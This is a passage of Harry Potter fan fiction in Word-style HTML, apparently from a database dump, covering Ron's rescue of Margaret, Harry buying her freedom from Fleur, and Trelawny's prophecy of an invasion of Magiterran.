sword\naround as he deflected each of the blows.&nbsp;\nWith superior skill, Ron out dueled each of the bandits as he either\nrammed them with his blade or knocked them out with a good stunning or\ndisarming spell.&nbsp; Finally, all of the\nbandits were out of the picture and Ron made his way to Margaret.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Are you OK?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret beamed at\nhim.&nbsp; &#8220;Yes, I am al&#8230;LOOK OUT!&#8221;&nbsp; Ron whipped around to see the last bandit\nswing his sword down at him&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Stupefy!&#8221;</i>&nbsp; The\nbandit fell unconscious as the stunner hit him.&nbsp; Ron looked up to see Ginny standing at the edge of the clearing,\nher sword still smoking from the stunner she had just shot, and a huge grin on\nher face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Going a little\nrusty dear brother?&nbsp; You missed one of\nthem.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Shut up!&#8221; said\nRon.&nbsp; Ginny started gathering up the\nunconscious bandits as Ron cut Margaret free.&nbsp;\nMargaret threw her arms around Ron and hugged him close.&nbsp; Ron looked a little embarrassed but he\nhugged Margaret back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The next morning,\nHarry was bartering with Fleur.&nbsp; &#8220;Your\nfriend Ronald informs me zat you want to buy Margaret.&nbsp; I would be willing for 1000 galleons.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;100 galleons,&#8221;\nsaid Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;500 galleons,&#8221;\nsaid Fleur.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;50 galleons&#8221; said\nHarry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;200 galleons.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;10 galleons.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;100 galleons.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;A galleon.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;50 galleons.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;50 sickles.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;A galleon.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;A sickle.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;A sickle.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;A knut.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;50 knuts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Deal!&#8221;&nbsp; Harry and Fleur shook hands and Harry\npurchased Margaret Chapel&#8217;s freedom for 50 knuts or rather one sickle and 21\nknuts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret Chapel\nwas free but since she didn&#8217;t have anywhere to go, it was decided that she\nwould accompany the Mage Knights for a while.&nbsp;\nIt was only after the Mage Knights had left a few minutes later that\nFleur realized how much she lost from selling Margaret for so cheep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N OK, I think\nthat whole bartering scene between Harry and Fleur sucked but I still think its\nfunny.&nbsp; Tell me what you think.&nbsp; Also, It must be noted that in this fic and\nits prequel, Beauxbatons is a port city in Magiterran, not a separate nation\nlike Durmstrang.&nbsp; So R/R.&nbsp; Next: (in misty voice) Ah, the fates have\ninformed me that I will meet you here and the road you tread inevitably leads\nto &#8230;death!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 11, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n11: Predictions of Invasion\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret Chapel\nturned out to be an added bonus to the Mage Knight&#8217;s company.&nbsp; She was intelligent, witty, kind, charming,\nfriendly, and all together nice person.&nbsp;\nThe Mage Knights had provided her with warm clothing as they were still\ntraveling through snow on foot.&nbsp; Having\neaten a few square meals, Margaret looked a lot healthier and she was more\ncheerful than when she was Fleur Delacour&#8217;s personal slave.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">She was friendly\nwith Ginny but took a little bit more time warming up to Harry ever since she\nlearned that he was actually the king of Gryffindor.&nbsp; But she eventually became fast friends with him as well.&nbsp; However, she was closest to Ron despite the\nfact that she was always blushing around him.&nbsp;\nHarry and Ginny would share a knowing look whenever they saw the two\ntogether though Ron was utterly clueless.&nbsp;\nRon also had no idea why he felt as if the jelly legs curse had been\nplaced on him whenever Margaret was around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After traveling\nfor a few days, the company finally made it to a city that was only about\ntwenty miles away from the royal capitol.&nbsp;\nThe Weasleys decided to stop there for a while though Harry was\nreluctant to do so.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We&#8217;re drawing\ncloser to where Hermione is,&#8221; he said.&nbsp;\n&#8220;I can feel it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well how would\nyou know?&#8221; said Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry simply\nglanced down his left hand.&nbsp; There, on\nthe outside of his gauntlet was the golden Ring of the Lion around his ring\nfinger.&nbsp; Harry and Hermione had used the\ntwo magical rings as wedding bands, and the closer they got to the Ring of the\nPhoenix that Hermione had, the stronger the drawing of the two rings to each\nother was.&nbsp; It was also through the two\nrings that Harry and Hermione could sense whether the other was alive or close.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny placed a\ncomforting hand on Harry&#8217;s shoulder.&nbsp; &#8220;I\nknow you&#8217;re very anxious to see, Hermione,&#8221; she said.&nbsp; &#8220;But you need rest.&nbsp; You\nhaven&#8217;t slept for a while and you&#8217;re going to need it if we have to fight for\nHermione.&#8221;&nbsp; Harry reluctantly agreed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Mage Knights\nonce again donned their brown cloaks and they, along with Margaret, set about\nexploring the city.&nbsp; It wasn&#8217;t all that\ndifferent from Hogsmeade and the Weasleys and Margaret had a great time just\nexploring the city while Harry stayed at the inn.&nbsp; Ginny would go off to look at some shop leaving Ron and Margaret\nalone with each other, both blushing deeply.&nbsp;\nThey were hardly able to say a word to each other leaving Ginny very\nfrustrated as she spied on them from a distance.&nbsp; They returned to the inn around dinnertime where they met Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, that was a\ngreat day now, wasn&#8217;t it?&#8221; said Ron looking less uncomfortable now that he\nwasn&#8217;t alone with Margaret.&nbsp; Harry\nsimply remained quiet as he scraped his potatoes around his plate.&nbsp; His food was generally untouched.&nbsp; &#8220;Oh, cheer up, Harry,&#8221; said Ron.&nbsp; &#8220;You&#8217;ll get to see Hermione soon and before\nyou know it, you&#8217;ll be laughing at us as we start insulting each other over\nbooks and food and stuff.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry couldn&#8217;t\nhelp but chuckle.&nbsp; &#8220;Thanks Ron.&nbsp; It&#8217;s just that I miss her so much.&nbsp; You know, its sort of like an ache where a\npart of you has been ripped away from your body, yet you&#8217;re anxious because\nyou&#8217;re so close to reclaiming that missing part of yourself.&#8221;&nbsp; He sighed wearily.&nbsp; &#8220;I just want to see her, that&#8217;s all.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, an eerie\nvoice called out from behind hem, &#8220;Ah, the fates have informed me that I would\nmeet you here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry visibly\nfroze.&nbsp; &#8220;Ron,&#8221; he said, his voice a\nlittle apprehensive.&nbsp; &#8220;Please don&#8217;t tell\nme that there is someone behind me.&nbsp;\nSomeone with insect like eye glasses, a stuffy aroma of fragrance, and\ncarrying a crystal ball or a cup of tea leaves around.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron sighed\nwearily.&nbsp; &#8220;Sorry mate, but it&#8217;s the old\nbat alright.&#8221;&nbsp; Slowly, Harry turned\naround and let out a groan.&nbsp; Sitting by\nthe table next to them was none other than Sybil Trelawny, one of the Mage\nKnights&#8217; old Hogwarts trainers.&nbsp; Sybil\nTrelawny was a seer, although Hermione had the stern belief that she was\nnothing more than a lunatic fraud and Harry and Ron were inclined to agree with\nher.&nbsp; Trelawny had left Magiterran shortly\nafter the conclusion of the War against the Death Eaters and the Mage Knights\nwere not sorry about having her gone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Trelawny stared at\nHarry with a sad look in her eyes.&nbsp; &#8220;The\nfates have informed me that I would meet you here,&#8221; she said again.&nbsp; &#8220;And I see that the path you are treading\ninevitably leads to&#8230;&#8221; she paused for dramatic effect before she whispered,\n&#8220;death!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry\ngroaned.&nbsp; Ron muttered &#8220;Across the sea\nfrom Hogwarts and even Magiterran and she still doesn&#8217;t fail to predict Harry&#8217;s\ndemise.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret looked a\nlittle worried but she relaxed when Ginny mouthed, &#8220;She&#8217;s a fake,&#8221; to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come on guys,\nlet&#8217;s go,&#8221; said Harry.&nbsp; The company\nstood up intending to leave when Trelawny suddenly went into a trance, a misty\nlook coming to her eyes.&nbsp; Harry abruptly\nstopped short; he realized that Trelawny was about to make a real\nprediction.&nbsp; Harry had once seen her go\ninto this state nearly three years ago when she had predicted that Harry&#8217;s life\nwould change forever in a way he couldn&#8217;t possibly have imagined that day.&nbsp; At first Harry had dismissed the prophecy,\nbut later that day, while out riding, he had come across a troll whom had\ncaptured a young farm girl.&nbsp; And that was\nhow Harry met Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Guys wait,&#8221; he\nsaid as he made his way to Trelawny who was just starting to speak:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;The dark days\nhave returned and those who devour the deceased are back along with their Dark\nLord.&nbsp; They shall invade the homeland\nfrom across the sea in three days time.&nbsp;\nFrom Hufflepuff they enter and there will be War against Magiterran once\nagain.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sharing a glance,\nthe Mage Knights ran back to their room.&nbsp;\nAs soon as they had calmed down they started pondering about Trelawny&#8217;s\nwords.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What the old bat\njust said, that wasn&#8217;t real was it?&#8221; asked Ron.&nbsp; Harry nodded mutely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;She&#8217;s made true\npredictions before,&#8221; he said.&nbsp; &#8220;You just\nhave to discern the difference from her trances and when she is making it up.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny looked\nworried.&nbsp; &#8220;Harry, what she just\nsaid.&nbsp; You don&#8217;t think that&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m afraid so,&#8221; said\nHarry.&nbsp; &#8220;Magiterran is going to be\ninvaded in three days time.&#8221;&nbsp; He\nstraightened up.&nbsp; &#8220;The three of you are\ngoing back to Hogwarts now!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?!&#8221; yelled\nRon and Ginny and unison.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry\ncontinued.&nbsp; &#8220;Go back to Hogwarts right\nnow with the portkey.&nbsp; You have three\ndays to organize the Alliance militaries and meet the invading fleet on the\nHufflepuff coast.&nbsp; We cannot let them\ncatch the Alliance by surprise.&nbsp; I&#8217;m\nstaying here to try to rescue Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We can&#8217;t just\nleave you back here by yourself!&#8221; yelled Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217;t you get\nit?!&#8221; shouted Harry.&nbsp; &#8220;If you don&#8217;t go\nback now there won&#8217;t be a home to where we can return to!&nbsp; You need to go back!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny was visibly\nshaking.&nbsp; &#8220;But Harry, if we take the\nportkey, how will you and Hermione get home?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;ll think about\nthat when the time comes,&#8221; said Harry.&nbsp;\n&#8220;Just go!&#8221;&nbsp; Ron, Ginny, and\nMargaret glanced at each other as Harry pulled out the portkey that had brought\nthem to Durmstrang.&nbsp; Wordlessly, the\nthree took hold of it and disappeared.&nbsp;\nHarry sighed.&nbsp; He was alone now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Meanwhile, at the\nDurmstrang royal palace, Hermione was in a bath, her hair in a messy bun.&nbsp; A small part of her was wondering why she\nwas even bothering taking one but she had always been hygienic and the warm water\nalso helped calm her anxious nerves.&nbsp;\nStill she was very aware of her surroundings and was highly nervous\nabout taking a bath even to keep clean.&nbsp;\nThe bathtub was huge, about the size of a small swimming pool and the\nwalls were covered with gold.&nbsp; Hermione\nwas leaning against the bath&#8217;s side, the foam of the bubbles covering her body.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione let a few\ntears fall as she played with the bubbles.&nbsp;\nShe missed Harry deeply and ached not being with him.&nbsp; She missed having his strong arms surround\nher and she missed not being able to lean on his shoulder and feel\ncontent.&nbsp; She missed his emerald eyes\nand the way he always smiled at her that made her heart melt.&nbsp; She just plain missed him, pure and simple\nas that.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione sighed\nsadly as she glanced down at her left hand.&nbsp;\nThere, shining on her ring finger was the scarlet ring of the\nPhoenix.&nbsp; She could sense through the\nring that Harry was coming closer each and everyday, giving her hope.&nbsp; But she also despaired knowing full well\nthat he was walking into a trap.&nbsp; Of\ncourse, knowing Harry, he&#8217;d probably charge in even if he knew it was a trap,\njust to save her.&nbsp; She also felt utterly\nuseless for not being able to warn her homeland of the upcoming invasion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The door to the\nbathroom suddenly swung open.&nbsp; Alarmed,\nHermione sunk lower into the bubbles, making sure she was completely\ncovered.&nbsp; Edward Lingilam and Igor\nKarkaroff along with a few other Neo Death Eaters marched in.&nbsp; Lingalim gazed down at Hermione and\nsmirked.&nbsp; Hermione felt like ripping\nthat smirk off of his face and shoving it 